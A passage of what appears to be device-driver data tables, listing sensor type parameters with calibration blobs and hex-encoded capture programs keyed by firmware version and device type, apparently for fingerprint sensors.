SensorTypeInfo(sensor_type=0x00ea, bytes_per_line=0x5c, repeat_multiplier=1, lines_per_calibration_data=84, line_width=84, calibration_blob='898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19'),
SensorTypeInfo(sensor_type=0x0194, bytes_per_line=0x7c, repeat_multiplier=3, lines_per_calibration_data=84, line_width=114, calibration_blob='000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f50515253'),
SensorTypeInfo(sensor_type=0x0126, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x0117, bytes_per_line=0xa0, repeat_multiplier=4, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x08f3, bytes_per_line=0xa0, repeat_multiplier=1, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x08f6, bytes_per_line=0xa0, repeat_multiplier=1, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x0121, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x0b4b, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x0b4d, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'),
SensorTypeInfo(sensor_type=0x0130, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'),
SensorTypeInfo(sensor_type=0x0be2, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'),
SensorTypeInfo(sensor_type=0x0be1, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'),
SensorTypeInfo(sensor_type=0x0518, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'),
SensorTypeInfo(sensor_type=0x0179, bytes_per_line=0x98, repeat_multiplier=3, lines_per_calibration_data=56, line_width=144, calibration_blob='3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172'),
]
SensorCaptureProg.table=[
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0x6, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0x7, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0x8, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0xa, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['230000003200680000000080002000002020000024200000382000002820df0b2c20df0b302000003420000050200a005c20000064204300602000004c2000006c20100070201000742005007820050084202000b4200000b8203b00bc201400c0200200c4200100c82002007403000233001c000000008054202a2203005820272f0300cc200000ef03d0200000ef033200480000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203b00002804001428000008280000082800001428300008280000142831001c281a006411240068110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0xb, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['230000003200680000000080002000002020000024200000382000002820df0b2c20df0b302000003420000050200a005c20000064204300602000004c2000006c20100070201000742005007820050084202000b4200000b8203b00bc201400c0200200c4200100c82002007403000233001c000000008054202a2203005820272f0300cc200000ef03d0200000ef033200480000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203b00002804001428000008280000082800001428300008280000142831001c281a006411240068110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0x14, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['230000003200680000000080002000002020000024200000382000002820df0b2c20df0b302000003420000050200a005c20000064204300602000004c2000006c20100070201000742005007820050084202000b4200000b8203b00bc201400c0200200c4200100c82002007403000233001c000000008054202a2203005820272f0300cc200000ef03d0200000ef033200480000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203b00002804001428000008280000082800001428300008280000142831001c281a006411240068110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']),
SensorCaptureProg(major=0x6, minor=0x6, build=0x0, u1=0x0, dev_type=0x885, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082150000c210000482105004c210000582000005c2000006020000068200a006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340070010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601066310250101000007c8078c06ff4f80006d0300200307030b90098db08d099186890b9108c180910ac190ba2c928f099382890b938889898908c881910ac8888a9189099a82890b9a8889898908d081910ad0888a9189080282890a02095a80890b5a888908d981890ad98891898a095e81890b5e8889898908e181890ae18891898a096481890b64888989096e8108e9810b6e880ae9889191ba096f828f0b6f8889918908f082890af08891898a097681890b7690b9928f08f882910af8908a8a91097c818a0b7c88090181890b018889892491097f818a0b7f900908818a0b0890898a910c0703030720040200002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x7, build=0x0, u1=0x0, dev_type=0x885, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082150000c210000482105004c210000582000005c2000006020000068200a006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340070010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601066310250101000007c8078c06ff4f80006d0300200307030b90098db08d099186890b9108c180910ac190ba2c928f099382890b938889898908c881910ac8888a9189099a82890b9a8889898908d081910ad0888a9189080282890a02095a80890b5a888908d981890ad98891898a095e81890b5e8889898908e181890ae18891898a096481890b64888989096e8108e9810b6e880ae9889191ba096f828f0b6f8889918908f082890af08891898a097681890b7690b9928f08f882910af8908a8a91097c818a0b7c88090181890b018889892491097f818a0b7f900908818a0b0890898a910c0703030720040200002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x1055, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482103004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340070010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601066310250101000007c8078c06ff4f80006d0300200307030b90098db08d099186890b9108c180910ac190ba2c928f099382890b938889898908c881910ac8888a9189099a82890b9a8889898908d081910ad0888a9189080282890a02095a80890b5a888908d981890ad98891898a095e81890b5e8889898908e181890ae18891898a096481890b64888989096e8108e9810b6e880ae9889191ba096f828f0b6f8889918908f082890af08891898a097681890b7690b9928f08f882910af8908a8a91097c818a0b7c88090181890b018889892491097f818a0b7f900908818a0b0890898a910c0703030720040200002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x1825, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482108004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340074010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601062810250101000007c8078c06ff4f80006d0300200307030990098db00b90880991858e08c1810b9190910ac1b828928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f812089920b7f09088089920b088889920c07030307200402000000002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0xb5, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482106004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e0034007801000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001023171023171023161023161023160106635205001025010100000007c8078c06ff00004f80006d0300280307030990098db00b90880991858e08c1810b9190910ac1b8928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f8189920b7f09088089920b088889920c07030307200402000000002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x1ff5, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482106004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340074010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601062810250101000007c8078c06ff4f80006d0300200307030990098db00b90880991858e08c1810b9190910ac1b828928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f812089920b7f09088089920b088889920c07030307200402000000002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x7, build=0x0, u1=0x0, dev_type=0x1825, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482108004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340074010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601065010240101000007c8078c06ff00004f80006d0300280307030990098db00b90880991858e08c1810b9190910ac1b8928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f8189920b7f09088089920b088889920c07030307200402000000002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0xe4, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320070000000008020200400242000005020773628200100302001003c208000082138000c210000482108004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340070010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221410221410221410221410221401066510250101000007c8078c06ff4f80006d0300280307030990098db00b90880991858e08c1810b9190910ac1b8928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f8189920b7f09088089920b088889920c0703030720040200002f0004006400000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0xed, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482104004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340074010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601065010240101000007c8078c06ff00004f80006d0300280307030990098db00b90880991858e08c1810b9190910ac1b8928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f8189920b7f09088089920b088889920c07030307200402000000002f0004007000000029000400700000003500040080000000']),
SensorCaptureProg(major=0x6, minor=0x7, build=0x0, u1=0x0, dev_type=0x143b, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320070000000008020200400242000005020773628200100302001003c208000082138000c210000482108004c210000582000005c2000006020000068200a006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300bc201400c0200200c4200100c82002003300100000000080cc200000d600d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c1117003400340200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101c11101c11101c11101c11101c10010657101e0101000007c8078c06ff00004f80006d03002c03070308c608c709930703800ac60994800ac70995800b930996800b940997800b950998800b9608c8800b9708ca800b9808cb800ac808cc800aca08ce800acb08cf800acc099a800ace099b800acf099c800b9a099d800b9b099e800b9c099f800b9d08d0800b9e08d2800b9f08d3800ad008d4800ad208d6800ad308d7800ad40802800ad60803800ad7095a800a02095b800a03095c800b5a095d800b5b08d9800b5c08da800b5d08db800ad908dd800ada08de800adb08df800add095e800ade095f800adf0960800b5e0961800b5f0962800b600963800b6108e1800b6208e2800b6308e3800ae108e5800ae208e6800ae308e7800ae50964800ae60965800ae70966800b640967800b650968800b66096e800b6708e9800b6808ea800b6e08eb800ae908ed800aea08ef800aeb08ee800aed096f800aef0970800aee0971800b6f0972800b700974800b710975800b7208f0800b7408f1800b7508f2800af008f4800af108f5800af208f6800af40976800af50977800af60979800b760978800b77097a800b79097b800b7808f8800b7a08fa800b7b08fc800af808fd800afa08fe800afc0900800c2007030307200402002f0004005400000029000400580000003500040068000000']),
SensorCaptureProg(major=0x6, minor=0x7, build=0x0, u1=0x0, dev_type=0xb3, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320070000000008020200400242000005020773628200100302001003c208000082140000c210000482106004c210000582000005c2000006020000068200a006c20012970200121742001887820018084202000942001809c200902a0200b19b4200300bc201400c0200100c4200100c82002003300100000000080cc2000002c01d0200000a1013200440000000080dc205302e0206401e420a901e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c11180034003c0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101c11101c11101c11101c11101c10010657101e0101000007c8078c06ff00004f80006d03002c0308c608c70703800ac60993800ac70994800b930995800b940996800b950997800b960998800b9708c8800b9808ca800ac808cb800aca08cc800acb08ce800acc08cf800ace099a800acf099b800b9a099c800b9b099d800b9c099e800b9d099f800b9e08d0800b9f08d2800ad008d3800ad208d4800ad308d6800ad408d7800ad60802800ad70803800a02095a800a03095b800b5a095c800b5b095d800b5c08d9800b5d08da800ad908db800ada08dd800adb08de800add08df800ade095e800adf095f800b5e0960800b5f0961800b600962800b610963800b6208e1800b6308e2800ae108e3800ae208e5800ae308e6800ae508e7800ae60964800ae70965800b640966800b650967800b660968800b67096e800b6808e9800b6e08ea800ae908eb800aea08ed800aeb08ef800aed08ee800aef096f800aee0970800b6f0971800b700972800b710974800b720975800b7408f0800b7508f1800af008f2800af108f4800af208f5800af408f6800af50976800af60977800b760979800b770978800b79097a800b78097b800b7a08f8800b7b08fa800af808fc800afa08fd800afc08fe800afd090080808080240c0703030720040200000000002f0004005400000029000400580000003500040068000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0xe1, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032006c000000008020200400242000005020773628200100302001003c208000082138000c210000482105004c210000582000005c2000006020000068200a006c20014970200141742001887820018084203000942001809c200902a0200b19bc201400c0200200c4200100c82002003300100000000080cc2000006401d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203b00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c11160034001402000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101b10101b10101b10101b0f101b0f010656101e0101000007c8078c06ff4f80006d03002c03070308c108bf098f0703800ac10990800abf098d800b8f0991800b900992800b8d08c5800b9108c3800b9208c6800ac508c4800ac308cb800ac608c7800ac40993800acb0994800ac70995800b930997800b940996800b950998800b9708ce800b9608cc800b9808cf800ace08d0800acc08d2800acf08dd800ad0099a800ad2099b800add099c800b9a0803800b9b095a800b9c095b800a0308de800b5a08df800b5b08e1800ade08eb800adf08ed800ae108f1800aeb095c800aed0962800af10963800b5c096f800b620970800b630971800b6f08f2800b7008f5800b7108f6800af208fa800af508f8800af608fc800afa0974800af80976800afc097b800b74097a800b76097f800b7b097e800b7a08fd800b7f08fe800b7e090b800afd090c800afe090d800b0b090f800b0c0980800b0d0982800b0f0983800b80097d800b820978800b83097c800b7d0914800b780908800b7c0909800b140907800b080905800b090904800b070979800b050977800b040975800b790972800b77096c800b750936800b7209348080800c20070303072004020000002f0004004e00000029000400540000003500040064000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x8b1, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032006c000000008020200400242000005020773628200100302001003c208000082138000c210000482107004c210000582000005c2000006020000068200a006c20014970200141742001887820018084203000942001809c200902a0200b19bc201400c0200200c4200100c82002003300100000000080cc2000002c00d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c11160034001402000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101b10101b10101b10101b0f101b0f010656101e0101000007c8078c06ff4f80006d03002c03070308c108bf098f0703800ac10990800abf098d800b8f0991800b900992800b8d08c5800b9108c3800b9208c6800ac508c4800ac308cb800ac608c7800ac40993800acb0994800ac70995800b930997800b940996800b950998800b9708ce800b9608cc800b9808cf800ace08d0800acc08d2800acf08dd800ad0099a800ad2099b800add099c800b9a0803800b9b095a800b9c095b800a0308de800b5a08df800b5b08e1800ade08eb800adf08ed800ae108f1800aeb095c800aed0962800af10963800b5c096f800b620970800b630971800b6f08f2800b7008f5800b7108f6800af208fa800af508f8800af608fc800afa0974800af80976800afc097b800b74097a800b76097f800b7b097e800b7a08fd800b7f08fe800b7e090b800afd090c800afe090d800b0b090f800b0c0980800b0d0982800b0f0983800b80097d800b820978800b83097c800b7d0914800b780908800b7c0909800b140907800b080905800b090904800b070979800b050977800b040975800b790972800b77096c800b750936800b7209348080800c20070303072004020000002f0004004e00000029000400540000003500040064000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0xea, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320070000000008020200400242000005020773628200100302001003c208000082138000c210000482106004c210000582000005c2000006020000068200a006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300bc201400c0200200c4200100c82002003300100000000080cc200000d600d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203b00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c11170034003002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101b11101b11101b11101b11101b1001064d101d0101000007c8078c06ff00004f80006d03002c03070308c608c709930703800ac60994800ac70995800b930996800b940997800b950998800b9608c8800b9708ca800b9808cb800ac808cc800aca08ce800acb08cf800acc099a800ace099b800acf099c800b9a099d800b9b099e800b9c099f800b9d08d0800b9e08d2800b9f08d3800ad008d4800ad208d6800ad308d7800ad40802800ad60803800ad7095a800a02095b800a03095c800b5a095d800b5b08d9800b5c08da800b5d08db800ad908dd800ada08de800adb08df800add095e800ade095f800adf0960800b5e0961800b5f0962800b600963800b6108e1800b6208e2800b6308e3800ae108e5800ae208e6800ae308e7800ae50964800ae60965800ae70966800b640967800b650968800b66096e800b6708e9800b6808ea800b6e08eb800ae908ed800aea08ef800aeb08ee800aed096f800aef0970800aee0971800b6f0972800b700974800b710975800b7208f0800b7408f1800b7508f2800af008f4800af108f5800af208f6800af40976800af50977800af60979800b760978800b77097a800b79097b800b7808f8800b7a08fa800b7b08fc800af808fd800afa08fe800afc0900800c2007030307200402002f0004005400000029000400540000003500040064000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x199, a0=0x18, a1=0x19, blobs=['23000000200008000020008000000100320074000000008020200400242000005020773628200100302001003c208000082138000c210000482107004c210000582000005c20000060200000682005006c20014970200141742001887820018084202000942001809c200902a0200b19b4200300b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203a00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c111e00340078010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010221710221710221610221610221601065010250101000007c8078c06ff0000000000004f80006d0300280307030990098db00b90880991858e08c1810b9190910ac1b8928a0993878a890b9388898908c88191890ac8889289099a818a890b9a88898908d08191890ad08892890802818a095a810a0288890b5a8808d98189890ad9908989095e8289890b5e88898908e18189890ae190898909648289890b648889096e8108e981890b6e880ae99091b9096f828a8f0b6f88918908f0818a890af090898909768289910b76b8918a08f88792910af8888a92097c81898a0b7c09018089890b01888991097f8189920b7f09088089920b088889920c07030307200402000000002f0004007000000029000400700000003500040080000000']),
